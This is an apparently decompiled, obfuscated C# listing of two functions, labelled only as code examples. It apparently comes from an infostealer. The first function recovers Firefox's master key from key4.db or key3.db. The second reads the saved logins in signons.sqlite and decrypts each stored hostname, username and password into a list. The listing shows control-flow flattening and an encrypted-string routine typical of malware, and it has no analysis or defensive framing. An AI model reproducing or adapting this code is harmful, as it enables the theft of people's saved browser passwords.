Example #1
0
		// Token: 0x06000170 RID: 368 RVA: 0x0002F990 File Offset: 0x0002DB90
		public static byte[] hou(string hov)
		{
			if (File.Exists(hov + <Module>.smethod_strings_decryptor(290624 -> "key4.db"))))
			{
				string baseName = hov + <Module>.smethod_strings_decryptor(290600 -> "key4.db"));
				try
				{
					jwq jwq;
					byte[] result;
					try
					{
						jwq = new jwq(baseName);
					}
					catch (Exception ex)
					{
						for (;;)
						{
							IL_76:
							uint num = 397499132u;
							for (;;)
							{
								uint num2;
								switch ((num2 = (num ^ 864882355u)) % 3u)
								{
								case 0u:
									goto IL_76;
								case 1u:
									result = null;
									num = (num2 * 1771186742u ^ 998640529u);
									continue;
								}
								goto Block_12;
							}
						}
						Block_12:
						return result;
					}
					if (!jwq.kry(<Module>.smethod_strings_decryptor(290160 -> "metaData"))))
					{
						goto IL_104;
					}
					goto IL_419;
					uint num3;
					byte[] hnp;
					for (;;)
					{
						IL_3B1:
						uint num2;
						int num4;
						jox.hjl hjl;
						byte[] bytes;
						object instance;
						switch ((num2 = (num3 ^ 864882355u)) % 20u)
						{
						case 0u:
							goto IL_C7;
						case 1u:
						{
							byte[] hjn = new byte[0];
							num3 = (num2 * 3762620962u ^ 2429759357u);
							continue;
						}
						case 2u:
						{
							byte[] hlr;
							byte[] hlr2;
							Encoding.Default.GetString(jox.hls.hno(hnp, Encoding.ASCII.GetBytes(""), hlr, hlr2));
							num3 = (num2 * 3444158586u ^ 4141135044u);
							continue;
						}
						case 4u:
							goto IL_206;
						case 5u:
							goto IL_19D;
						case 6u:
							checked
							{
								num4++;
							}
							num3 = (num2 * 15138852u ^ 1432410666u);
							continue;
						case 7u:
						{
							hnp = Encoding.Default.GetBytes(jwq.kuv(0, <Module>.smethod_strings_decryptor(290208 -> "item1"))));
							byte[] hjn = Encoding.Default.GetBytes(jwq.kuv(0, <Module>.smethod_strings_decryptor(290312 -> "item2"))));
							num3 = (num2 * 2475399591u ^ 4263075038u);
							continue;
						}
						case 8u:
							result = null;
							num3 = (num2 * 1572013394u ^ 3874933492u);
							continue;
						case 9u:
							num4 = 0;
							num3 = (num2 * 655340772u ^ 3340638214u);
							continue;
						case 10u:
						{
							Encoding.Default.GetBytes(jwq.kuv(1, <Module>.smethod_strings_decryptor(290360 -> "a102"))));
							jox.hjz hjz = hjl.hjm(bytes);
							object hlr3 = hjz.hlp[0].hlp[0].hlp[1].hlp[0].hlr;
							object hlr4 = hjz.hlp[0].hlp[1].hlr;
							instance = jox.hls.hno(hnp, Encoding.ASCII.GetBytes(""), (byte[])hlr3, (byte[])hlr4);
							num3 = (num2 * 1158233609u ^ 3368708756u);
							continue;
						}
						case 11u:
							goto IL_42D;
						case 12u:
							if (Operators.CompareString(jwq.kuv(0, "id"), <Module>.smethod_strings_decryptor(290136 -> "password")), false) == 0)
							{
								num3 = (num2 * 3331896414u ^ 3718961892u);
								continue;
							}
							goto IL_206;
						case 13u:
							if (num4 > 23)
							{
								num3 = (num2 * 3232749855u ^ 3008978758u);
								continue;
							}
							goto IL_19D;
						case 14u:
							goto IL_419;
						case 16u:
						{
							byte[] hjn;
							jox.hjz hjz2 = hjl.hjm(hjn);
							byte[] hlr = hjz2.hlp[0].hlp[0].hlp[1].hlp[0].hlr;
							byte[] hlr2 = hjz2.hlp[0].hlp[1].hlr;
							num3 = (num2 * 1996369276u ^ 2536377065u);
							continue;
						}
						case 17u:
							goto IL_104;
						case 18u:
							result = jox.hls.jly;
							num3 = (num2 * 685934684u ^ 3095256988u);
							continue;
						case 19u:
							if (!jwq.kry(<Module>.smethod_strings_decryptor(290256 -> "nssPrivate"))))
							{
								num3 = (num2 * 3855035416u ^ 1770445472u);
								continue;
							}
							goto IL_C7;
						}
						break;
						IL_C7:
						bytes = Encoding.Default.GetBytes(jwq.kuv(1, "a11"));
						num3 = 117202509u;
						continue;
						IL_19D:
						jox.hls.jly[num4] = Conversions.ToByte(NewLateBinding.LateIndexGet(instance, new object[]
						{
							num4
						}, null));
						num3 = 374730853u;
						continue;
						IL_206:
						hjl = new jox.hjl();
						num3 = 1330577419u;
					}
					return result;
					IL_42D:
					return null;
					IL_104:
					num3 = 1369271435u;
					goto IL_3B1;
					IL_419:
					hnp = new byte[0];
					num3 = 238294990u;
					goto IL_3B1;
				}
				catch (Exception ex2)
				{
					byte[] result = null;
					for (;;)
					{
						IL_47F:
						uint num5 = 1105972921u;
						for (;;)
						{
							uint num2;
							switch ((num2 = (num5 ^ 864882355u)) % 3u)
							{
							case 1u:
								num5 = (num2 * 2216605151u ^ 2609150475u);
								continue;
							case 2u:
								goto IL_47F;
							}
							goto Block_14;
						}
					}
					Block_14:
					return result;
				}
			}
			if (File.Exists(hov + <Module>.smethod_strings_decryptor(289920 -> "key3.db"))))
			{
				try
				{
					string fileName = hov + <Module>.smethod_strings_decryptor(289896 -> "key3.db"));
					byte[] hnp2 = new byte[0];
					jox.guz guz = new jox.guz(fileName);
					string text;
					try
					{
						List<KeyValuePair<string, string>>.Enumerator enumerator = guz.gqz.GetEnumerator();
						for (;;)
						{
							IL_6B8:
							uint num6 = 140317870u;
							for (;;)
							{
								uint num2;
								object instance2;
								switch ((num2 = (num6 ^ 864882355u)) % 9u)
								{
								case 0u:
									goto IL_5B8;
								case 1u:
									num6 = (num2 * 1980930708u ^ 4279062769u);
									continue;
								case 2u:
									goto IL_573;
								case 3u:
									goto IL_5A5;
								case 4u:
									text = Conversions.ToString(NewLateBinding.LateGet(instance2, null, <Module>.smethod_strings_decryptor(290120 -> "Value")), new object[0], null, null, null));
									num6 = (num2 * 954236485u ^ 3232431402u);
									continue;
								case 5u:
									hnp2 = jox.hls.hlt(Conversions.ToString(NewLateBinding.LateGet(NewLateBinding.LateGet(instance2, null, <Module>.smethod_strings_decryptor(289656 -> "Value")), new object[0], null, null, null), null, <Module>.smethod_strings_decryptor(289728 -> "Replace")), new object[]
									{
										"-",
										""
									}, null, null, null)));
									num6 = (num2 * 3518094976u ^ 4163794741u);
									continue;
								case 7u:
									if (Conversions.ToBoolean(Operators.AndObject(Operators.AndObject(Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(289968 -> "global-salt")), false), Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(289944 -> "Version")), false)), Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(290016 -> "password-check")), false))))
									{
										num6 = (num2 * 1792523313u ^ 2652427638u);
										continue;
									}
									goto IL_573;
								case 8u:
									goto IL_6B8;
								}
								goto Block_23;
								IL_573:
								if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(290064 -> "global-salt")), false))
								{
									num6 = 125452241u;
									continue;
								}
								IL_5A5:
								if (!enumerator.MoveNext())
								{
									num6 = 401585206u;
									continue;
								}
								IL_5B8:
								instance2 = enumerator.Current;
								num6 = 274233109u;
							}
						}
						Block_23:;
					}
					finally
					{
						List<KeyValuePair<string, string>>.Enumerator enumerator;
						((IDisposable)enumerator).Dispose();
					}
					jox.hjl hjl2 = new jox.hjl();
					for (;;)
					{
						IL_8FC:
						uint num7 = 1183966534u;
						for (;;)
						{
							uint num2;
							jox.hjz hjz5;
							switch ((num2 = (num7 ^ 864882355u)) % 10u)
							{
							case 0u:
							{
								byte[] hlr5;
								jox.hjz hjz3;
								object obj = jox.hls.hno(hnp2, Encoding.ASCII.GetBytes(""), hlr5, hjz3.hlp[0].hlp[1].hlr);
								num7 = (num2 * 2480484875u ^ 3271456801u);
								continue;
							}
							case 1u:
								goto IL_818;
							case 2u:
							{
								object obj;
								jox.hjz hjz4 = hjl2.hjm((byte[])obj);
								num7 = (num2 * 2826923615u ^ 243909657u);
								continue;
							}
							case 3u:
								num7 = (num2 * 2372407598u ^ 2679081814u);
								continue;
							case 4u:
								if (hjz5.hlp[0].hlp[3].hlr.Length > 24)
								{
									num7 = (num2 * 38161444u ^ 693730904u);
									continue;
								}
								goto IL_818;
							case 5u:
							{
								jox.hjz hjz3 = hjl2.hjm(jox.hls.hlt(text.Replace("-", "")));
								byte[] hlr5 = hjz3.hlp[0].hlp[0].hlp[1].hlp[0].hlr;
								num7 = (num2 * 2844875169u ^ 1819095484u);
								continue;
							}
							case 6u:
								goto IL_8FC;
							case 8u:
							{
								jox.hjz hjz4;
								hjz5 = hjl2.hjm(hjz4.hlp[0].hlp[2].hlr);
								num7 = (num2 * 674668373u ^ 779619615u);
								continue;
							}
							case 9u:
								Array.Copy(hjz5.hlp[0].hlp[3].hlr, checked(hjz5.hlp[0].hlp[3].hlr.Length - 24), jox.hls.jly, 0, 24);
								num7 = (num2 * 555175777u ^ 3259694769u);
								continue;
							}
							goto Block_18;
							IL_818:
							jox.hls.jly = hjz5.hlp[0].hlp[3].hlr;
							num7 = 1859690296u;
						}
					}
					Block_18:
					return jox.hls.jly;
				}
				catch (Exception ex3)
				{
				}
				return null;
			}
			return null;
		}
Example #2
0
		// Token: 0x06000173 RID: 371 RVA: 0x0003080C File Offset: 0x0002EA0C
		public static List<clo> jkl(string jkm, string jkn)
		{
			List<clo> list = new List<clo>();
			for (;;)
			{
				IL_A7:
				uint num = 3994806019u;
				for (;;)
				{
					uint num2;
					switch ((num2 = (num ^ 3279137713u)) % 5u)
					{
					case 0u:
						goto IL_A7;
					case 1u:
					{
						string text = jkm + <Module>.smethod_strings_decryptor(289536 -> "signons.sqlite"));
						if (File.Exists(text))
						{
							num = (num2 * 2963114273u ^ 1936167517u);
							continue;
						}
						return list;
					}
					case 2u:
						if (jox.hls.hou(jkm) == null)
						{
							num = (num2 * 3755269175u ^ 4274660725u);
							continue;
						}
						goto IL_AE;
					case 3u:
					{
						string text2 = string.Empty;
						string text3 = string.Empty;
						string text4 = string.Empty;
						num = (num2 * 1123653911u ^ 1233408905u);
						continue;
					}
					}
					goto Block_3;
				}
			}
			Block_3:
			return list;
			jwq jwq;
			try
			{
				IL_AE:
				string text;
				jwq = new jwq(text);
			}
			catch (Exception ex)
			{
				return list;
			}
			if (jwq.kry(<Module>.smethod_strings_decryptor(289512 -> "moz_logins"))))
			{
				goto IL_10F;
			}
			IL_DF:
			int num3 = -574263533;
			IL_E4:
			jox.hjl hjl;
			int num5;
			int num6;
			switch ((num3 ^ -1015829583) % 4)
			{
			case 0:
				goto IL_DF;
			case 2:
				return list;
			case 3:
			{
				IL_10F:
				hjl = new jox.hjl();
				int num4 = 0;
				num5 = checked(jwq.ktv() - 1);
				num6 = num4;
				num3 = -1153896364;
				goto IL_E4;
			}
			}
			List<clo> result;
			for (;;)
			{
				if (num6 <= num5)
				{
					try
					{
						string text2 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289584 -> "hostname")));
						string text3 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289560 -> "encryptedUsername")));
						string text4 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289120 -> "encryptedPassword")));
						if (!string.IsNullOrEmpty(text2))
						{
							for (;;)
							{
								IL_38E:
								uint num7 = 2389638383u;
								for (;;)
								{
									uint num2;
									switch ((num2 = (num7 ^ 3279137713u)) % 10u)
									{
									case 0u:
									{
										jox.hjz hjz = hjl.hjm(Convert.FromBase64String(text4));
										num7 = (num2 * 316590178u ^ 1711896903u);
										continue;
									}
									case 1u:
									{
										jox.hjz hjz2;
										byte[] hlr = hjz2.hlp[0].hlp[1].hlp[1].hlr;
										num7 = (num2 * 2147355450u ^ 881220567u);
										continue;
									}
									case 2u:
										if (!string.IsNullOrEmpty(text3))
										{
											num7 = (num2 * 1490760102u ^ 1341603426u);
											continue;
										}
										break;
									case 3u:
										if (text4 != null)
										{
											num7 = (num2 * 3002477722u ^ 1906451362u);
											continue;
										}
										break;
									case 4u:
									{
										jox.hjz hjz2;
										byte[] hlr2 = hjz2.hlp[0].hlp[2].hlr;
										byte[] hlr;
										string input = jox.jlx.jmw(hlr2, jox.hls.jly, hlr);
										num7 = (num2 * 3303802837u ^ 1744781663u);
										continue;
									}
									case 5u:
									{
										string input;
										clo clo;
										clo.clu = Regex.Replace(input, <Module>.smethod_strings_decryptor(289224 -> "[^\u0020-\u007F]")), "");
										string input2;
										clo.clv = Regex.Replace(input2, <Module>.smethod_strings_decryptor(289168 -> "[^\u0020-\u007F]")), "");
										clo.clx = jkn;
										list.Add(clo);
										num7 = (num2 * 3707522447u ^ 568229492u);
										continue;
									}
									case 7u:
									{
										jox.hjz hjz2 = hjl.hjm(Convert.FromBase64String(text3));
										num7 = (num2 * 2721528952u ^ 2943016820u);
										continue;
									}
									case 8u:
									{
										jox.hjz hjz;
										byte[] hlr3 = hjz.hlp[0].hlp[1].hlp[1].hlr;
										byte[] hlr4 = hjz.hlp[0].hlp[2].hlr;
										string input2 = jox.jlx.jmw(hlr4, jox.hls.jly, hlr3);
										clo clo = new clo();
										clo.cly = text2;
										num7 = (num2 * 3455639722u ^ 2161671336u);
										continue;
									}
									case 9u:
										goto IL_38E;
									}
									goto Block_13;
								}
							}
							Block_13:;
						}
					}
					catch (Exception ex2)
					{
						result = list;
						break;
					}
					checked
					{
						num6++;
						goto IL_3AD;
					}
				}
				int num8 = -1889264911;
				IL_3B2:
				switch ((num8 ^ -1015829583) % 4)
				{
				case 0:
					return list;
				case 1:
					continue;
				case 2:
					IL_3AD:
					num8 = -1281840040;
					goto IL_3B2;
				}
				break;
			}
			return result;
		}